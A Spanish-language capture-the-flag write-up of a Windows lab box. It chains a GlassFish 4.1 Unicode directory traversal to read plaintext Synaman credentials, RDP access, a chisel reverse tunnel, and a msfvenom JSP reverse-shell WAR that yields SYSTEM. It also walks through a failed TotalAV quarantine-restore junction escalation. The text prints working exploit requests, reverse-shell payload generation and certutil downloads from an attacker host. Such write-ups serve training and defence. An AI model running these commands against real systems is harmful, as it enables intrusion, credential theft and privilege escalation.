Fish
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Oracle GlassFish Server 4.1 vulnerable a traversal Unicode con%c0%af(CVE-2017-1000028) que leeAppConfig.xmlde Synaman con credenciales en claro (arthur/KingOfAtlantis), RDP comoarthur, y una escalada por despliegue de un.waren el panel admin de GlassFish tunelizado conchisel(el 4848 solo bindea a localhost) que ejecuta la JSP como SYSTEM.
Reconocimiento
Escaneo inicial
El escaneo de puertos completo destapa una pila de servicios poco habituales:
ping -c 1 192.168.189.168 # ttl=125 → Windows
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.189.168PORT STATE SERVICE
3389/tcp open ms-wbt-server
4848/tcp open http
6060/tcp open x11
7676/tcp open jms
8080/tcp open http
8181/tcp open ssl/httpnmap -p135,139,445,3389,3700,4848,5040,6060,7676,8080,8181,8686,49664-49669 -sCV 192.168.189.168PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
4848/tcp open http Sun GlassFish Open Source Edition 4.1
6060/tcp open x11? (SynaMan File Manager 5.1 build 1595)
7676/tcp open jms Java Message Service 301
8080/tcp open http Sun GlassFish 4.1 (Data Web)
8181/tcp open ssl/http Sun GlassFish 4.1Los dos servicios clave: GlassFish 4.1 (panel admin en 4848, admite despliegue de WAR) y Synaman File Manager en 6060, un producto comercial de Synametrics para compartir ficheros con RDP.
Acceso como arthur
GlassFish 4.1 - Directory Traversal (CVE-2017-1000028)
El 4848 sirve theme/META-INF/prototype sin sanear rutas Unicode: la secuencia %c0%af decodifica a / y salta niveles fuera del META-INF. Es una LFI pura pero limitada al filesystem del host.
curl 'http://192.168.189.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1Un win.ini no aporta más que confirmar que la vulnerabilidad funciona; el paso interesante es enumerar directorios de Synaman:
curl 'http://192.168.189.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afSynaman/config'
Alert.txt
AppConfig.xml
DirListingFooterTemplate.htm
DirListingHeaderTemplate.htm
DownloadNotification.txt
service.properties
StaticConfig.xml
umap.dat
UserMappings.xml
WorkerMappings.xmlY de ahí, AppConfig.xml:
curl 'http://192.168.189.168:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afSynaman/config/AppConfig.xml'Dos líneas relevantes: smtpUser=arthur y smtpPassword=KingOfAtlantis. Es un secreto en el fichero de configuración de un producto que sí valida contra la cuenta local del sistema.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<parameters>
...
<parameter name="smtpServer" type="1" value="mail.fish.pg"></parameter>
<parameter name="smtpUser" type="1" value="arthur"></parameter>
...
<parameter name="smtpPassword" type="1" value="KingOfAtlantis"></parameter>
...
</parameters>
</Configuration>RDP como arthur
Esas credenciales sirven para RDP (usadas por Synaman contra el usuario local del sistema, arthur):
xfreerdp /u:arthur /p:KingOfAtlantis /v:192.168.189.168
FreeRDP: 192.168.189.168
(escritorio de Windows de arthur: papelera de reciclaje, Edge)Escalada de Privilegios
GlassFish 4848 solo en localhost - chisel
El panel de administración GlassFish (4848) bindea solo en 127.0.0.1. Con RDP dentro, se sube chisel.exe (repo) y se abre un reverse tunnel que expone el 4848 del target al 4848 local del atacante.
# atacante
chisel server --reverse -p 1234
# víctima
chisel.exe client 192.168.45.155:1234 R:4848
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:4848=>4848: ListeningEl panel se ve desde el atacante en http://localhost:4848 y las credenciales de GlassFish suelen ser las por defecto (admin sin contraseña en instalaciones sin cambio explícito).

Entran tal cual. La barra de estado de la consola confirma el contexto y de paso recuerda dónde estamos: usuario admin, dominio domain1 y Server: localhost, que aquí no es la Kali sino el otro extremo del túnel.

http://localhost:4848/common/index.jsf
User: admin | Domain: domain1 | Server: localhost
GlassFish Server Open Source Edition
Deployment
List Deployed Applications
Deploy an ApplicationDesplegar un WAR con JSP shell
msfvenom genera un WAR con una JSP que abre una reverse. GlassFish, al desplegarlo, sirve la aplicación bajo /shell/ y el contexto corre como el usuario del servicio (SYSTEM).
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.45.155 LPORT=443 -f war > shell.war
Payload size: 1103 bytes
Final size of war file: 1103 bytesLevantamos el nc que recibirá la conexión:
rlwrap nc -nlvp 443En el panel, Applications > Deploy.... Importa elegir bien el origen: Packaged File to Be Uploaded to the Server sube el .war desde la máquina del atacante a través del navegador, mientras que la otra opción, Local Packaged File or Directory That Is Accessible from GlassFish Server, espera una ruta del filesystem del target. El Context Root y el Application Name se autorrellenan a shell desde el nombre del fichero, y eso es lo que fija la URL final.

Deploy Applications or Modules
Location: (o) Packaged File to Be Uploaded to the Server
[ Browse... ] shell.war
( ) Local Packaged File or Directory That Is Accessible from GlassFish Server
Type: Web Application
Context Root: shell
Application Name: shellTras el OK, la aplicación aparece desplegada y habilitada, con motor web y un enlace Launch que es justo el disparador que buscamos:

Deployed Applications (1)
Select Name Deployment Order Enabled Engines Action
[ ] shell 100 si web Launch | Redeploy | Reload
Web Application Links
Application Name: shell
Links:
[server] http://Fishyyy:8080/shell
[server] https://Fishyyy:8181/shellLos enlaces que ofrece GlassFish apuntan al hostname del servidor (Fishyyy) y no a la IP, así que antes de pinchar hay que resolverlo en el atacante añadiendo 192.168.189.168 fishyyy a /etc/hosts:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
...
192.168.189.168 fishyyyVisitar https://fishyyy:8181/shell/ dispara la JSP y la reverse cae como NT AUTHORITY\SYSTEM (el servicio GlassFish corre bajo esa cuenta en la instalación por defecto).

listening on [any] 443 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.189.168] 50500
Microsoft Windows [Version 10.0.19042.1288]
(c) Microsoft Corporation. All rights reserved.
C:\glassfish4\glassfish\domains\domain1\config>whoami
nt authority\systemlocal.txt
C:\glassfish4\glassfish\domains\domain1\config>type C:\Users\arthur\Desktop\local.txt && whoami
165036bf6c4e900bca363cafaedb665d
nt authority\system
Proof.txt
C:\glassfish4\glassfish\domains\domain1\config>type C:\Users\Administrator\Desktop\proof.txt
57a4875bfba6f9f6eb7930bdb6e169e1
Vía alternativa fallida: TotalAV
La caja lleva instalado un TotalAV 2020 y la escalada se intentó también por ahí. No llegó a shell, pero merece contarse entero porque el fallo es instructivo: la primitiva funcionó y lo que no funcionó fue el disparo.
El bug: restaurar desde cuarentena con una junction
searchsploit tiene el aviso para esa versión:
searchsploit 'Total Av priv'
searchsploit -m windows/local/47897.txt Exploit Title | Path
----------------------------------------------|---------------------------
TotalAV 2020 4.14.31 - Privilege Escalation | windows/local/47897.txtEl propio fichero resume la idea en cuatro pasos:
Proof of Concept
1. Plant the malicious file in this case we use DLL file
2. To exploit the vulnerability antivirus must detect the malicious dll
3. Move it to quarantine.
4. Attacker must create NTFS directory junction to restoreEl razonamiento tiene su gracia: el servicio del antivirus corre como SYSTEM y, al restaurar un fichero, lo devuelve a la ruta original que él mismo guardó, sin comprobar si ese directorio sigue siendo el que era. Si entre la cuarentena y el restore convertimos ese directorio en una junction NTFS hacia un sitio privilegiado, es el antivirus quien escribe ahí por nosotros. El resultado es una escritura arbitraria como SYSTEM, con contenido que elegimos.
El intento
Primero el cebo: una DLL con payload que el antivirus tenga que detectar sí o sí. Se llama version.dll porque ese es justo el nombre que se quiere secuestrar después.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.45.155 lport=443 -f dll > version.dll
python3 -m http.server 80
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytesSe descarga a un directorio de usar y tirar dentro del perfil de arthur, que es el que luego se convertirá en junction:
mkdir mount
cd mount
certutil.exe -f -urlcache -split http://192.168.45.155/version.dll version.dll
C:\Users\arthur\mount>certutil.exe -f -urlcache -split http://192.168.45.155/version.dll version.dll
**** Online ****
0000 ...
2400
CertUtil: -URLCache command completed successfully.En vez de esperar a que la protección en tiempo real reaccione, se abre la propia consola del antivirus. La opción está escondida: dentro de Quick Scan, arriba a la derecha, hay un enlace Custom scan que es el que deja elegir la ruta.

TOTAL AV
Quick Scan Short on time? Quick scan will help keep your system safe
Custom scan..
Object: Pending Scan
0 Files Scanned | 0 Directories Scanned | 0 Threats Found | 0 Threats Ignored
6 DAYS REMAINING Activate NowDesde ahí se le pide un escaneo personalizado apuntando al fichero concreto:

Folders and files to scan 1 File | 0 Folders
C:\Users\arthur\mount\version.dll
[ Start Custom Scan ]Y lo detecta, con la acción Quarantine ya seleccionada por defecto, que es exactamente lo que interesa:

1 Threat Located
Malware - High Risk
File Name File Path Threat Name Action
version.dll C:\Users\arthur\mount\version.dll BDS/ShellCodeF.641 [Quarantine]Con el fichero ya en cuarentena, C:\Users\arthur\mount queda libre para reapuntarlo. La junction se crea con CreateMountPoint.exe, de las symboliclink-testing-tools de Project Zero:
wget https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z
7z x Release.7z
python3 -m http.server 80
Extracting archive: Release.7z
Everything is Ok
Files: 14
47897.txt CreateHardlink.exe CreateNtfsSymlink.exe
BaitAndSwitch.exe CreateMountPoint.exe CreateObjectDirectory.exe
CreateDosDeviceSymlink.exe CreateNativeSymlink.exe CreateRegSymlink.exe
CreateSymlink.exe DeleteMountPoint.exe DumpReparsePoint.exe
LICENSE.txt README.txt SetOpLock.exeEl destino elegido es el directorio del .NET Framework, donde una version.dll plantada tiene alguna posibilidad de acabar cargada por un proceso privilegiado:
certutil.exe -f -urlcache -split http://192.168.45.155/CreateMountPoint.exe CreateMountPoint.exe
CreateMountPoint.exe C:\Users\arthur\mount C:\Windows\Microsoft.NET\Framework\v4.0.30319
dir mount
C:\Users\arthur>dir mount
Volume in drive C has no label.
Volume Serial Number is 08DF-534D
Directory of C:\Users\arthur\mount
10/29/2021 12:33 AM <DIR> .
10/29/2021 12:33 AM <DIR> ..
12/07/2019 02:50 AM <DIR> 1033dir mount ya no enseña la carpeta vacía de antes sino el contenido de v4.0.30319: la junction está puesta. Ahora se le pide al antivirus que restaure:

Quarantine
1 Quarantined Item.
File Name Original Location ThreatName Quarantine Time
version.dll C:\Users\arthur\mount\version.dll BDS/ShellCodeF.641 29 Oct 2021 05:00
[ Delete ] [ Restore ]Y la primitiva funciona. El servicio del antivirus escribe la DLL siguiendo la junction, así que version.dll acaba dentro del directorio del .NET Framework, un sitio donde arthur no tiene permiso de escritura:

C:\Users\arthur>dir mount | findstr version
12/07/2019 02:10 AM 86,000 Microsoft.Build.Conversion.v4.0.dll
10/29/2021 05:02 AM 9,216 version.dllLos 9.216 bytes cuadran exactamente con el Final size of dll file que anunció msfvenom: es nuestra DLL, entera, en C:\Windows\Microsoft.NET\Framework\v4.0.30319.
Por qué se quedó ahí
Colocada la DLL, faltaba que algún proceso privilegiado la cargase. Se levanta el handler y se reinicia la caja desde el RDP para forzar el arranque de los servicios:

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.45.155
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.45.155:443C:\Users\arthur>shutdown /r /f /t 0La conexión nunca llegó, y en la propia captura hay dos motivos por los que no podía llegar:
- El handler se quedó con el payload por defecto de
multi/handler,generic/shell_reverse_tcp, sin unset payload windows/meterpreter/reverse_tcp. Aunque la DLL se hubiera ejecutado, al otro lado esperaba un handler que no habla el mismo protocolo que el stager que se generó. - Nada garantiza que un proceso vaya a resolver
version.dlldesdeC:\Windows\Microsoft.NET\Framework\v4.0.30319. La arquitectura no era el problema (Frameworksin sufijo es el árbol de 32 bits ymsfvenomavisó de que seleccionabax86), pero el hijack necesita un cargador que busque ese nombre en ese directorio, y aquí no apareció ninguno.
La vía se abandonó a favor del despliegue del WAR, que da SYSTEM directo y sin depender de un reinicio. Queda como recordatorio de que una primitiva conseguida no es una escalada conseguida.
Cadena de ataque
GlassFish :4848 (traversal Unicode %c0%af)
└─ Synaman/config/AppConfig.xml -> arthur / KingOfAtlantis
└─ RDP -> sesión de arthur
└─ chisel R:4848 -> panel admin GlassFish
└─ Deploy shell.war (JSP reverse)
└─ /shell/ -> reverse como SYSTEM
└─ local.txt + proof.txtLecciones aprendidas
- Los servidores Java antiguos (GlassFish 4.x, JBoss, Tomcat) siguen apareciendo en labs y en producción: sus paneles admiten despliegue de WAR, que es RCE con contexto del servicio. El propio panel es la superficie más peligrosa.
- La traversal Unicode
%c0%af(secuencia0xC0 0xAFmal decodificada a/) es el bug histórico de servidores Java/IIS; sigue funcionando en despliegues sin parche. - Un panel escuchando solo en
localhostcambia de bando en cuanto haya RDP/RCE dentro:chisel(ossh -L) lo expone en segundos. - Los productos de tratamiento de ficheros (Synaman, SolarWinds, ManageEngine) guardan credenciales en XML de configuración con "cifrados" hechos en casa (a veces solo XOR o texto): es rutina rebuscar por su carpeta de instalación en cuanto haya lectura arbitraria.
- Los servicios Java (GlassFish, Tomcat, Jenkins) corren por defecto como SYSTEM/Local Service en Windows; un despliegue autorizado en el panel equivale a un shell privilegiado.
- El abuso del restore desde cuarentena (plantar un fichero, dejar que el antivirus lo detecte, convertir su carpeta en una junction NTFS y pedir la restauración) se repite en varios productos: el servicio corre como SYSTEM y confía en la ruta que él mismo apuntó.
- Una primitiva no es una escalada. En el intento con TotalAV se consiguió la escritura arbitraria como SYSTEM y aun así no hubo shell, porque el DLL hijacking necesita además un proceso que cargue ese nombre desde esa ruta. Conviene separar lo demostrado de lo supuesto, y revisar el handler antes de culpar al exploit.